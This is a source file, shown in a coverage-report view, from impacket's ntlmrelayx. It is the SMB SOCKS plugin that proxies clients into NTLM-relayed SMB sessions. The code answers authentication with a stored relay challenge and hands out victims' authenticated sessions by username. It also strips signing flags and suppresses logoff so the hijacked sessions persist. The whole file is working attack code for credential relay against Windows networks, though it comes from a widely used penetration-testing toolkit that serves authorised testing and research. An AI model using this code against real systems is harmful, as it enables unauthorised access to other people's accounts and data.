Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py : 7%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# A Socks Proxy for the SMB Protocol
8#
9# Author:
10# Alberto Solino (@agsolino)
11#
12# Description:
13# A simple SOCKS server that proxy connection to relayed connections
14#
15# ToDo:
16#
17import calendar
18import time
19import random
20import string
21from struct import unpack
22from binascii import hexlify
23from six import b
25from impacket import LOG
26from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
27from impacket.nmb import NetBIOSTCPSession
28from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_SUCCESS, STATUS_ACCESS_DENIED
29from impacket.ntlm import NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_SIGN
30from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBExtended_Security_Data, \
31 SMBExtended_Security_Parameters, SMBNTLMDialect_Parameters, SMBNTLMDialect_Data, \
32 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
33 SMBSessionSetupAndX_Extended_Parameters, SMBSessionSetupAndX_Extended_Data
34from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_AID
35from impacket.smb3 import SMB2Packet, SMB2_FLAGS_SERVER_TO_REDIR, SMB2_NEGOTIATE, SMB2Negotiate_Response, \
36 SMB2_SESSION_SETUP, SMB2SessionSetup_Response, SMB2SessionSetup, SMB2_LOGOFF, SMB2Logoff_Response, \
37 SMB2_DIALECT_WILDCARD, SMB2_FLAGS_SIGNED, SMB2_SESSION_FLAG_IS_GUEST
38from impacket.spnego import MechTypes, ASN1_SUPPORTED_MECH
39from impacket.smb import SMB_DIALECT
40from impacket.smbserver import getFileTime
42# Besides using this base class you need to define one global variable when
43# writing a plugin:
44PLUGIN_CLASS = "SMBSocksRelay"
46class SMBSocksRelay(SocksRelay):
47 PLUGIN_NAME = 'SMB Socks Plugin'
48 PLUGIN_SCHEME = 'SMB'
50 def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
51 SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
52 self.__NBSession = None
53 self.isSMB2 = False
54 self.serverDialect = SMB_DIALECT
56 # Let's verify the target's server SMB version, will need it for later.
57 # We're assuming all connections to the target server use the same SMB version
58 for key in list(activeRelays.keys()):
59 if key != 'data' and key != 'scheme':
60 if 'protocolClient' in activeRelays[key]:
61 self.serverDialect = activeRelays[key]['protocolClient'].session.getDialect()
62 self.isSMB2 = activeRelays[key]['protocolClient'].session.getDialect() is not SMB_DIALECT
63 break
65 @staticmethod
66 def getProtocolPort():
67 return 445
69 def initConnection(self):
70 # An incoming SMB Connection. Nice
71 self.__NBSession = NetBIOSTCPSession('', 'HOST', self.targetHost, sess_port=self.targetPort, sock=self.socksSocket)
73 def skipAuthentication(self):
74 packet, smbCommand = self.getSMBPacket()
76 if isinstance(packet, SMB2Packet) is False:
77 if packet['Command'] == SMB.SMB_COM_NEGOTIATE:
78 # Nego packet, we should answer with supporting only SMBv1
79 resp = self.getNegoAnswer(packet)
80 self.__NBSession.send_packet(resp.getData())
81 # If target Server is running SMB2+ and we're here, there should be a SMB2+ NEGO packet coming
82 # calling skipAuth again and go from there
83 if self.isSMB2:
84 return self.skipAuthentication()
85 packet, smbCommand = self.getSMBPacket()
87 if packet['Command'] == SMB.SMB_COM_SESSION_SETUP_ANDX:
88 # We have a session setup, let's answer what the original target answered us.
89 self.clientConnection, self.username = self.processSessionSetup(packet)
90 if self.clientConnection is None:
91 return False
92 else:
93 if packet['Command'] == SMB2_NEGOTIATE:
94 resp = self.getNegoAnswer(packet)
95 self.__NBSession.send_packet(resp.getData())
96 packet, smbCommand = self.getSMBPacket()
98 if packet['Command'] == SMB2_SESSION_SETUP:
99 self.clientConnection, self.username = self.processSessionSetup(packet)
100 if self.clientConnection is None:
101 return False
103 return True
105 def tunnelConnection(self):
106 # For the rest of the remaining packets, we should just read and send. Except when trying to log out,
107 # that's forbidden! ;)
108 while True:
109 # 1. Get Data from client
110 data = self.__NBSession.recv_packet().get_trailer()
112 if len(data) == 0:
113 break
115 if self.isSMB2 is False:
116 packet = NewSMBPacket(data=data)
118 if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX:
119 # We do NOT want to get logged off do we?
120 LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort))
121 data = self.getLogOffAnswer(packet)
122 else:
123 # 2. Send it to the relayed session
124 self.clientConnection.getSMBServer()._sess.send_packet(data)
126 # 3. Get the target's answer
127 data = self.clientConnection.getSMBServer()._sess.recv_packet().get_trailer()
129 packet = NewSMBPacket(data=data)
131 if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet['Command'] == SMB.SMB_COM_TRANSACTION2:
132 try:
133 while True:
134 # Anything else to read? with timeout of 1 sec. This is something to test or find
135 # a better way to control
136 data2 = self.clientConnection.getSMBServer()._sess.recv_packet(timeout=1).get_trailer()
137 self.__NBSession.send_packet(data)
138 data = data2
139 except Exception as e:
140 if str(e).find('timed out') > 0:
141 pass
142 else:
143 raise
145 if len(data) == 0:
146 break
147 else:
148 packet = SMB2Packet(data=data)
149 origID = packet['MessageID']
151 # Just in case, let's remove any signing attempt
152 packet['Signature'] = ""
153 packet['Flags'] &= ~(SMB2_FLAGS_SIGNED)
155 # Let's be sure the TreeConnect Table is filled with fake data
156 if (packet['TreeID'] in self.clientConnection.getSMBServer()._Session['TreeConnectTable']) is False:
157 self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']] = {}
158 self.clientConnection.getSMBServer()._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] = False
160 if packet['Command'] == SMB2_LOGOFF:
161 # We do NOT want to get logged off do we?
162 LOG.debug('SOCKS: Avoiding logoff for %s@%s:%s' % (self.username, self.targetHost, self.targetPort))
163 data = self.getLogOffAnswer(packet)
164 else:
165 # 2. Send it to the relayed session
166 self.clientConnection.getSMBServer().sendSMB(packet)
168 # 3. Get the target's answer
169 packet = self.clientConnection.getSMBServer().recvSMB()
171 if len(packet.getData()) == 0:
172 break
173 else:
174 packet['MessageID'] = origID
175 data = packet.getData()
177 # 4. Send it back to the client
178 self.__NBSession.send_packet(data)
180 return True
182 def getSMBPacket(self):
183 data = self.__NBSession.recv_packet()
184 try:
185 packet = NewSMBPacket(data=data.get_trailer())
186 smbCommand = SMBCommand(packet['Data'][0])
187 except Exception:
188 # Maybe a SMB2 packet?
189 try:
190 packet = SMB2Packet(data = data.get_trailer())
191 smbCommand = None
192 except Exception as e:
193 LOG.debug("Exception:", exc_info=True)
194 LOG.error('SOCKS: %s' % str(e))
196 return packet, smbCommand
198 def getNegoAnswer(self, recvPacket):
200 if self.isSMB2 is False:
201 smbCommand = SMBCommand(recvPacket['Data'][0])
202 respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)
204 resp = NewSMBPacket()
205 resp['Flags1'] = SMB.FLAGS1_REPLY
206 resp['Pid'] = recvPacket['Pid']
207 resp['Tid'] = recvPacket['Tid']
208 resp['Mid'] = recvPacket['Mid']
210 dialects = smbCommand['Data'].split(b'\x02')
211 index = dialects.index(b'NT LM 0.12\x00') - 1
212 # Let's fill the data for NTLM
213 if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
214 resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
215 _dialects_data = SMBExtended_Security_Data()
216 _dialects_data['ServerGUID'] = b'A' * 16
217 blob = SPNEGO_NegTokenInit()
218 blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
219 _dialects_data['SecurityBlob'] = blob.getData()
221 _dialects_parameters = SMBExtended_Security_Parameters()
222 _dialects_parameters[
223 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
224 _dialects_parameters['ChallengeLength'] = 0
226 else:
227 resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
228 _dialects_parameters = SMBNTLMDialect_Parameters()
229 _dialects_data = SMBNTLMDialect_Data()
230 _dialects_data['Payload'] = b''
231 _dialects_data['Challenge'] = b'\x11\x22\x33\x44\x55\x66\x77\x88'
232 _dialects_parameters['ChallengeLength'] = 8
233 _dialects_parameters['Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS
235 _dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
236 _dialects_parameters['DialectIndex'] = index
237 _dialects_parameters['SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
238 _dialects_parameters['MaxMpxCount'] = 1
239 _dialects_parameters['MaxNumberVcs'] = 1
240 _dialects_parameters['MaxBufferSize'] = 64000
241 _dialects_parameters['MaxRawSize'] = 65536
242 _dialects_parameters['SessionKey'] = 0
243 _dialects_parameters['LowDateTime'] = 0
244 _dialects_parameters['HighDateTime'] = 0
245 _dialects_parameters['ServerTimeZone'] = 0
247 respSMBCommand['Data'] = _dialects_data
248 respSMBCommand['Parameters'] = _dialects_parameters
250 resp.addCommand(respSMBCommand)
251 else:
252 resp= SMB2Packet()
253 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
254 resp['Status'] = STATUS_SUCCESS
255 resp['CreditRequestResponse'] = 1
256 resp['CreditCharge'] = 1
257 resp['Command'] = SMB2_NEGOTIATE
258 resp['SessionID'] = 0
259 resp['MessageID'] = 0
260 resp['TreeID'] = 0
262 respSMBCommand = SMB2Negotiate_Response()
264 respSMBCommand['SecurityMode'] = 1
265 if isinstance(recvPacket, NewSMBPacket):
266 respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD
267 else:
268 respSMBCommand['DialectRevision'] = self.serverDialect
269 resp['MessageID'] = 1
270 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
271 respSMBCommand['Capabilities'] = 0x7
272 respSMBCommand['MaxTransactSize'] = 65536
273 respSMBCommand['MaxReadSize'] = 65536
274 respSMBCommand['MaxWriteSize'] = 65536
275 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
276 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
277 respSMBCommand['SecurityBufferOffset'] = 0x80
279 blob = SPNEGO_NegTokenInit()
280 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
281 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
283 respSMBCommand['Buffer'] = blob.getData()
284 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
286 resp['Data'] = respSMBCommand
288 return resp
290 def processSessionSetup(self, recvPacket):
292 if self.isSMB2 is False:
293 respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
294 smbCommand = SMBCommand(recvPacket['Data'][0])
296 if smbCommand['WordCount'] == 12:
297 respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
298 respData = SMBSessionSetupAndX_Extended_Response_Data()
300 # First of all, we should received a type 1 message. Let's answer it
301 # NEGOTIATE_MESSAGE
302 challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
303 challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
305 respToken = SPNEGO_NegTokenResp()
306 # accept-incomplete. We want more data
307 respToken['NegState'] = b'\x01'
308 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
309 respToken['ResponseToken'] = challengeMessage.getData()
311 respParameters['SecurityBlobLength'] = len(respToken.getData())
312 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
313 respData['SecurityBlob'] = respToken.getData()
315 respData['NativeOS'] = ''
316 respData['NativeLanMan'] = ''
317 respSMBCommand['Parameters'] = respParameters
318 respSMBCommand['Data'] = respData
320 resp = NewSMBPacket()
321 resp['Flags1'] = SMB.FLAGS1_REPLY
322 resp['Flags2'] = SMB.FLAGS2_NT_STATUS
323 resp['Pid'] = recvPacket['Pid']
324 resp['Tid'] = recvPacket['Tid']
325 resp['Mid'] = recvPacket['Mid']
326 resp['Uid'] = 0
327 errorCode = STATUS_MORE_PROCESSING_REQUIRED
328 resp['ErrorCode'] = errorCode >> 16
329 resp['ErrorClass'] = errorCode & 0xff
330 resp.addCommand(respSMBCommand)
332 self.__NBSession.send_packet(resp.getData())
333 recvPacket, smbCommand = self.getSMBPacket()
335 sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
336 sessionSetupData = SMBSessionSetupAndX_Extended_Data()
337 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
338 sessionSetupData.fromString(smbCommand['Data'])
340 if unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
341 # If there no GSSAPI ID, it must be an AUTH packet
342 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
343 token = blob['ResponseToken']
344 else:
345 # NEGOTIATE packet
346 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
347 token = blob['MechToken']
349 # Now we should've received a type 3 message
350 authenticateMessage = NTLMAuthChallengeResponse()
351 authenticateMessage.fromString(token)
353 try:
354 username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
355 authenticateMessage['user_name'].decode('utf-16le'))).upper()
356 except UnicodeDecodeError:
357 # Not Unicode encoded?
358 username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()
360 # Check if we have a connection for the user
361 if username in self.activeRelays:
362 LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost))
363 errorCode = STATUS_SUCCESS
364 smbClient = self.activeRelays[username]['protocolClient'].session
365 uid = smbClient.getSMBServer().get_uid()
366 else:
367 LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost))
368 errorCode = STATUS_ACCESS_DENIED
369 uid = 0
370 smbClient = None
372 resp = NewSMBPacket()
373 resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
374 resp['Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
375 resp['Command'] = recvPacket['Command']
376 resp['Pid'] = recvPacket['Pid']
377 resp['Tid'] = recvPacket['Tid']
378 resp['Mid'] = recvPacket['Mid']
379 resp['Uid'] = uid
380 resp['ErrorCode'] = errorCode >> 16
381 resp['ErrorClass'] = errorCode & 0xff
382 respData['NativeOS'] = ''
383 respData['NativeLanMan'] = ''
385 if uid == 0:
386 resp['Data'] = b'\x00\x00\x00'
387 smbClient = None
388 else:
389 respToken = SPNEGO_NegTokenResp()
390 # accept-completed
391 respToken['NegState'] = b'\x00'
392 respParameters['SecurityBlobLength'] = len(respToken)
393 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
394 respData['SecurityBlob'] = respToken.getData()
396 respSMBCommand['Parameters'] = respParameters
397 respSMBCommand['Data'] = respData
398 resp.addCommand(respSMBCommand)
400 self.__NBSession.send_packet(resp.getData())
403 return smbClient, username
404 else:
405 LOG.error('SOCKS: Can\'t handle standard security at the moment!')
406 return None
407 else:
408 respSMBCommand = SMB2SessionSetup_Response()
409 sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
411 securityBlob = sessionSetupData['Buffer']
413 rawNTLM = False
414 if unpack('B', securityBlob[0:1])[0] == ASN1_AID:
415 # NEGOTIATE packet
416 blob = SPNEGO_NegTokenInit(securityBlob)
417 token = blob['MechToken']
418 if len(blob['MechTypes'][0]) > 0:
419 # Is this GSSAPI NTLM or something else we don't support?
420 mechType = blob['MechTypes'][0]
421 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:
422 # Nope, do we know it?
423 if mechType in MechTypes:
424 mechStr = MechTypes[mechType]
425 else:
426 mechStr = hexlify(mechType)
427 LOG.debug("Unsupported MechType '%s', we just want NTLMSSP, answering" % mechStr)
428 # We don't know the token, we answer back again saying
429 # we just support NTLM.
430 # ToDo: Build this into a SPNEGO_NegTokenResp()
431 respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
432 respSMBCommand['SecurityBufferOffset'] = 0x48
433 respSMBCommand['SecurityBufferLength'] = len(respToken)
434 respSMBCommand['Buffer'] = respToken
436 resp = SMB2Packet()
437 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
438 resp['Status'] = STATUS_SUCCESS
439 resp['CreditRequestResponse'] = 1
440 resp['CreditCharge'] = recvPacket['CreditCharge']
441 resp['Command'] = recvPacket['Command']
442 resp['SessionID'] = 0
443 resp['Reserved'] = recvPacket['Reserved']
444 resp['MessageID'] = recvPacket['MessageID']
445 resp['TreeID'] = recvPacket['TreeID']
446 resp['Data'] = respSMBCommand
448 self.__NBSession.send_packet(resp.getData())
449 recvPacket, smbCommand = self.getSMBPacket()
450 return self.processSessionSetup(recvPacket)
452 elif unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
453 # AUTH packet
454 blob = SPNEGO_NegTokenResp(securityBlob)
455 token = blob['ResponseToken']
456 else:
457 # No GSSAPI stuff, raw NTLMSSP
458 rawNTLM = True
459 token = securityBlob
461 # NEGOTIATE_MESSAGE
462 # First of all, we should received a type 1 message. Let's answer it
463 challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
464 challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
466 if rawNTLM is False:
467 respToken = SPNEGO_NegTokenResp()
468 # accept-incomplete. We want more data
469 respToken['NegState'] = b'\x01'
470 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
472 respToken['ResponseToken'] = challengeMessage.getData()
473 else:
474 respToken = challengeMessage
476 resp = SMB2Packet()
477 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
478 resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED
479 resp['CreditRequestResponse'] = 1
480 resp['CreditCharge'] = recvPacket['CreditCharge']
481 resp['Command'] = recvPacket['Command']
482 resp['SessionID'] = 0
483 resp['Reserved'] = recvPacket['Reserved']
484 resp['MessageID'] = recvPacket['MessageID']
485 resp['TreeID'] = recvPacket['TreeID']
487 respSMBCommand['SecurityBufferOffset'] = 0x48
488 respSMBCommand['SecurityBufferLength'] = len(respToken)
489 respSMBCommand['Buffer'] = respToken.getData()
490 resp['Data'] = respSMBCommand
492 self.__NBSession.send_packet(resp.getData())
493 recvPacket, smbCommand = self.getSMBPacket()
495 sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
496 securityBlob = sessionSetupData['Buffer']
498 blob = SPNEGO_NegTokenResp(securityBlob)
499 token = blob['ResponseToken']
501 # AUTHENTICATE_MESSAGE, here we deal with authentication
502 authenticateMessage = NTLMAuthChallengeResponse()
503 authenticateMessage.fromString(token)
505 try:
506 username = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
507 authenticateMessage['user_name'].decode('utf-16le'))).upper()
508 except UnicodeDecodeError:
509 # Not Unicode encoded?
510 username = ('%s/%s' % (authenticateMessage['domain_name'], authenticateMessage['user_name'])).upper()
512 respToken = SPNEGO_NegTokenResp()
514 # Check if we have a connection for the user
515 if username in self.activeRelays:
516 LOG.info('SOCKS: Proxying client session for %s@%s(445)' % (username, self.targetHost))
517 errorCode = STATUS_SUCCESS
518 smbClient = self.activeRelays[username]['protocolClient'].session
519 uid = smbClient.getSMBServer()._Session['SessionID']
520 else:
521 LOG.error('SOCKS: No session for %s@%s(445) available' % (username, self.targetHost))
522 errorCode = STATUS_ACCESS_DENIED
523 uid = 0
524 smbClient = None
526 # accept-completed
527 respToken['NegState'] = b'\x00'
529 resp = SMB2Packet()
530 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
531 resp['Status'] = errorCode
532 resp['CreditRequestResponse'] = 1
533 resp['CreditCharge'] = recvPacket['CreditCharge']
534 resp['Command'] = recvPacket['Command']
535 resp['SessionID'] = uid
536 resp['Reserved'] = recvPacket['Reserved']
537 resp['MessageID'] = recvPacket['MessageID']
538 resp['TreeID'] = recvPacket['TreeID']
540 respSMBCommand['SecurityBufferOffset'] = 0x48
542 # This is important for SAMBA client to work. If it is not set as a guest session,
543 # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced).
544 respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST
545 respSMBCommand['SecurityBufferLength'] = len(respToken)
546 respSMBCommand['Buffer'] = respToken.getData()
547 resp['Data'] = respSMBCommand
549 self.__NBSession.send_packet(resp.getData())
550 return smbClient, username
552 def getLogOffAnswer(self, recvPacket):
554 if self.isSMB2 is False:
555 respSMBCommand = SMBCommand(SMB.SMB_COM_LOGOFF_ANDX)
557 resp = NewSMBPacket()
558 resp['Flags1'] = SMB.FLAGS1_REPLY
559 resp['Pid'] = recvPacket['Pid']
560 resp['Tid'] = recvPacket['Tid']
561 resp['Mid'] = recvPacket['Mid']
562 resp['Uid'] = recvPacket['Uid']
564 respParameters = b''
565 respData = b''
566 respSMBCommand['Parameters'] = respParameters
567 respSMBCommand['Data'] = respData
569 resp.addCommand(respSMBCommand)
571 else:
572 respSMBCommand = SMB2Logoff_Response()
574 resp = SMB2Packet()
575 resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
576 resp['Status'] = STATUS_SUCCESS
577 resp['CreditRequestResponse'] = 1
578 resp['CreditCharge'] = recvPacket['CreditCharge']
579 resp['Command'] = recvPacket['Command']
580 resp['SessionID'] = recvPacket['SessionID']
581 resp['Reserved'] = recvPacket['Reserved']
582 resp['MessageID'] = recvPacket['MessageID']
583 resp['TreeID'] = recvPacket['TreeID']
584 resp['Data'] = respSMBCommand
586 return resp